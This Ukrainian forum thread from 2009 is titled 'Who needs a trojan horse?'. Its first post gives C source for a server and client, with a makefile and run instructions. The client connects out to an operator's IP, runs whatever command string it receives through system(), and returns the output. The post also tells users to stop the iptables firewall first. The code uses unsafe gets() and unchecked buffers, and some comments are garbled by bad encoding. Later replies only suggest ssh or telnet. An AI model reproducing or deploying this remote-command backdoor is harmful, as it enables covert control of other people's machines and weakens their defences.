Автор Гілка: Кому потрібен троянський кінь?  (Прочитано 1964 раз)

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Є сервер
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <time.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <ctype.h>
#define BUFSZ 100

void sigalrm1(int num)
{
};
int s, c;
socklen_t sz;
struct sockaddr_in ssa, csa;
struct sockaddr *sp, *cp;
struct hostent *rhost;
char *host;
time_t itime;

int read_sock(char *buf,int sock)
{
int n=0;
if(buf!=(char)NULL){
   n=recv(sock,buf,100,0);
};
return n;
};

int write_sock(int sock,char *buf)
{
   int n=0;
if(buf!=NULL){
   n=send(sock,buf,100,0);
};
return n;
};

void sock_connect(int i,char *hnm);
pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER;
void *pthr1(void *a1);
int ffd;
struct hostent *htn;
struct in_addr **adl;
static char hnm[25];
static char hna[25];

int main(int argc,char **argv)
{
pthread_attr_t pa1,pa2;
pthread_t pt1,pt2;
void *arg1;
void *arg2;
pthread_attr_init(&pa1);
pthread_attr_init(&pa2);
int pr=pthread_create(&pt1,&pa1,pthr1,NULL);
if(pr==0)
{
printf("Server thread \n");
} else
{
perror("thread 1");
exit(1);
};
sleep(10);

int s2, sz2, i2;
struct sockaddr_in ssa2;
struct sockaddr *sp2;
struct in_addr sip2;

struct hostent *htn2;
struct in_addr **adl2;
static char hnm2[25];
static char hna2[25];


for(;;){

signal(SIGALRM,sigalrm1);
        sp2=(struct sockaddr *)&ssa2;
        sz2=sizeof(ssa2);

        if(argc!=2){
                // Помощь РїРѕ использованию команды
                printf("Р˜СЃРїРѕР»СЊР·РѕРІР°РЅРёРµ: %s ip-адрес\n",argv[0]);
                exit(1);
        }
        if(inet_aton(argv[1], &sip2) != 1){
                printf("Неправильно задан адрес сервера\n");
                exit(1);
        }
while(1)
{
        // Создаём сокет
        s2=socket(AF_INET, SOCK_STREAM, 0);
        if(s2 == -1){
            //    perror("Невозможно создать сокет");
        }

        // Задаём адрес сервера
        ssa2.sin_family = AF_INET;
        ssa2.sin_port = htons(5064);
        ssa2.sin_addr = sip2;
        static char cmbf[100];
//      gets(cmbf);
        // Устанавливаем соединение
        if(connect(s2, sp2, sz2) == -1){
           //     perror("РќРµ удалось установить соединение");
        } else {

        static char buf[BUFSZ];
        //static char fbuf[10000];

int i2=0;
static char fbuf[1000];
        // Получаем данные РѕС‚ сервера
        recv(s2,fbuf,sizeof(fbuf),0);
                printf("%s\n",fbuf);
      sleep(15);
      close(s2);
};

}


};
return 0;
};

void *pthr1(void *)
{
      signal(SIGALRM,sigalrm1);
      sp=(struct sockaddr *)&ssa;
      cp=(struct sockaddr *)&csa;
      sz=sizeof(ssa);
      // Создаём сокет
      s=socket(AF_INET, SOCK_STREAM, 0);
      if(s == -1){
            perror("Невозможно создать сокет");
      }

      // Резервируем РїРѕСЂС‚ 13
      ssa.sin_family = AF_INET;
      ssa.sin_port = htons(5063);
      ssa.sin_addr.s_addr = INADDR_ANY;

      if(bind(s, sp, sz) == -1){
            perror("Невозможно занять РїРѕСЂС‚");
            exit(1);
      }
printf("fuck\n");
      // Переводим сокет РІ режим ожидания соединения
      if(listen(s, 1) == -1){
            perror("Невозможно перейти РІ режим ожидания");
            exit(1);
      }

      while(1){
            // Принимаем соединение
            if((c = accept(s, cp, &sz)) == -1) {
                  perror("Ошибка РїСЂРё выполнении accept");
                  exit(1);
            }
            
printf("$ ");
char *tstr=new char[255];
      gets(tstr);
            int i=0;
            // Отправляем дату Рё время клиенту
            write_sock(c,tstr);
            // Закрываем соединение
            close(c);
      }
};

Є кліент
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <time.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>

#define BUFSZ 128
static char fbuf[1000];

void siga(int num)
{

return;
};

int read_sock(char *buf,int sock)
{
int n=0;
if(buf!=NULL){
   n=recv(sock,buf,100,0);
};
return n;
};

int write_sock(int sock)
{
   int n=0;
   n=send(sock,fbuf,strlen(fbuf),0);
return n;
};


int s, sz, i;
struct sockaddr_in ssa;
struct sockaddr *sp;
struct in_addr sip;


int s2, c2;
socklen_t sz2;
struct sockaddr_in ssa2, csa2;
struct sockaddr *sp2, *cp2;
struct hostent *rhost2;
char *host2;

struct hostent *htn2;
struct in_addr **adl2;
static char hnm2[25];
static char hna2[25];



void sock_connect(int i,char *hnm);
pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER;
void *pthr1(void *a1);
int ffd;
struct hostent *htn;
struct in_addr **adl;
static char hnm[25];
static char hna[25];
int ac;
char **av;
int main(int argc,char **argv)
{
ac=argc;
av=argv;
pthread_attr_t pa1;
pthread_t pt1;
void *arg1;
pthread_attr_init(&pa1);
int pr=pthread_create(&pt1,&pa1,pthr1,NULL);
if(pr==0)
{
printf("Client thread 1\n");
} else
{
perror("thread 1");
exit(1);
};
printf("aaa");
for(;;){
      signal(SIGALRM,siga);
      sp2=(struct sockaddr *)&ssa2;
      cp2=(struct sockaddr *)&csa2;
      sz2=sizeof(ssa2);

      // Создаём сокет
      s2=socket(AF_INET, SOCK_STREAM, 0);
      if(s2 == -1){
            //perror("Невозможно создать сокет");
      }

      // Резервируем РїРѕСЂС‚ 13
      ssa2.sin_family = AF_INET;
      ssa2.sin_port = htons(5064);
      ssa2.sin_addr.s_addr = INADDR_ANY;

      if(bind(s2, sp2, sz2) == -1){
            //perror("Невозможно занять РїРѕСЂС‚");
      }

      // Переводим сокет РІ режим ожидания соединения
      if(listen(s2, 1) == -1){
      //      perror("Невозможно перейти РІ режим ожидания");
      }

      while(1){
            // Принимаем соединение
            if((c2 = accept(s2, cp2, &sz2)) == -1) {
            //perror("Ошибка РїСЂРё выполнении accept");
            }
            
            // Преобразуем адрес хоста отправителя РІ его РёРјСЏ

            int i=0;
      send(c2,fbuf,sizeof(fbuf),0);
      sleep(15);
      close(c2);
            // Отправляем дату Рё время клиенту
            // Закрываем соединение
      }
};
return 0;
};

void *pthr1(void *)
{
signal(SIGALRM,siga);
      sp=(struct sockaddr *)&ssa;
      sz=sizeof(ssa);
printf("%s\n",av[1]);
      if(ac!=2){
            // Помощь РїРѕ использованию команды
            printf("Р˜СЃРїРѕР»СЊР·РѕРІР°РЅРёРµ: %s ip-адрес\n",av[0]);
            exit(1);
      }
      if(inet_aton(av[1], &sip) != 1){
            printf("Неправильно задан адрес сервера\n");
            exit(1);
      }
while(1)
{
      // Создаём сокет
      s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if(s == -1){
            perror("Невозможно создать сокет");
            exit(1);
      }

      // Задаём адрес сервера
      ssa.sin_family = AF_INET;
      ssa.sin_port = htons(5063);
      ssa.sin_addr.s_addr = inet_addr(av[1]);
      static char cmbf[100];
//      gets(cmbf);
      // Устанавливаем соединение
      if(connect(s, sp, sz) == -1){
            perror("РќРµ удалось установить соединение");
            exit(1);
      }

      static char buf[BUFSZ];
      //static char fbuf[10000];

for(int j=0;j<=BUFSZ;j++)
{
buf[j]=(char)0x20;
};
      // Получаем данные РѕС‚ сервера
      while((i=read_sock(buf,s)) > 0)
            write(1, buf, i);
      i=0;
      strcat(buf," > ./f1.txt");
      system(buf);
      int fdb=open("./f1.txt",O_RDWR);
      if(fdb==-1)
      {
      perror("open");
      exit(0);
      } else {
      read(fdb,fbuf,sizeof(fbuf));
      write(1,fbuf,sizeof(fbuf));
      close(fdb);
      };
}
};


Є мейкфайл
server.o: server.cpp
      g++ -c server.cpp
      g++ -lpthread -o server server.o
client.o: client.cpp
      g++ -c client.cpp
      g++ -lpthread -o client client.o
all: server.o client.o
clean:
      rm server
      rm client
      rm *.o
Спочатку запускается сервер з вказанням в параметрі командної строки IP адресси кліента, а потім запускается на іншому хості кліент с указанням IP адресси сервера. Потім на сервері набираются команди які віконуются на кліенті. Перед запуском треба відключити firewall iptables
/etc/rc.d/init.d/iptables stop. Перевірити щоб порт 5000 і 5001 були не зайняті.
« Змінено: 2009-02-24 18:15:47 від AliceStein »

Відсутній Володимир Лісівка

  • Адміністратор ЩОДО
  • Видавець
  • *****
  • дописів: 3820
  • Карма: +11/-0
  • Програміст
Re: Кому потрібен троянський кінь?
« Відповідей #1 : 2009-02-24 18:17:57 »
А чим ssh не влаштовує? :-)
[Fedora Linux]

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: Кому потрібен троянський кінь?
« Відповідей #2 : 2009-02-24 18:22:28 »
sshd root закрити може будьякий юзер з правами адміністратора. Якщо нема ssh це вихід. Тим паче я поставив перед собою мету написати программу яка виконувала команди на іншому компьютері ssh не я писав.

Відсутній Володимир Лісівка

  • Адміністратор ЩОДО
  • Видавець
  • *****
  • дописів: 3820
  • Карма: +11/-0
  • Програміст
Re: Кому потрібен троянський кінь?
« Відповідей #3 : 2009-02-24 18:39:12 »
sshd root закрити може будьякий юзер з правами адміністратора. Якщо нема ssh це вихід. Тим паче я поставив перед собою мету написати программу яка виконувала команди на іншому компьютері ssh не я писав.

Програма, яка виконує команди, називається "shell". Під Linux-ом їх і так достатньо. Так само як і способів зв’язати дві машини по мережі.
[Fedora Linux]

Відсутній borman

  • Графоман
  • ****
  • дописів: 416
  • Карма: +0/-0
  • Debianizer
Re: Кому потрібен троянський кінь?
« Відповідей #4 : 2009-02-24 22:11:54 »
А чим ssh не влаштовує? :-)
Не скажіть. Є, наприклад, купа коробок з linux (мережеве обладнання), які подружити з ssh занадто складно, стандартні засоби налаштування занадто вбогі, тому залізти всередину хочеться. От і доводиться займатись подібними речами.

А взагалі нічого складного. Тільки не зовсім зрозумів навіщо потрібен окремий клієнт. Звичний telnet не можна було використати?
dd if=/dev/zero of=/dev/null

Відсутній Володимир Лісівка

  • Адміністратор ЩОДО
  • Видавець
  • *****
  • дописів: 3820
  • Карма: +11/-0
  • Програміст
Re: Кому потрібен троянський кінь?
« Відповідей #5 : 2009-02-24 23:12:03 »
А чим ssh не влаштовує? :-)
Не скажіть. Є, наприклад, купа коробок з linux (мережеве обладнання), які подружити з ssh занадто складно, стандартні засоби налаштування занадто вбогі, тому залізти всередину хочеться. От і доводиться займатись подібними речами.
Ну якщо є мережа, і є командний процесор (shell), то навіщо морочити собі голову? Просто скомпілювати стандартний inetd і під’єднуватися telnet-ом.

Цитата
А взагалі нічого складного. Тільки не зовсім зрозумів навіщо потрібен окремий клієнт. Звичний telnet не можна було використати?

Ось і я про це.
[Fedora Linux]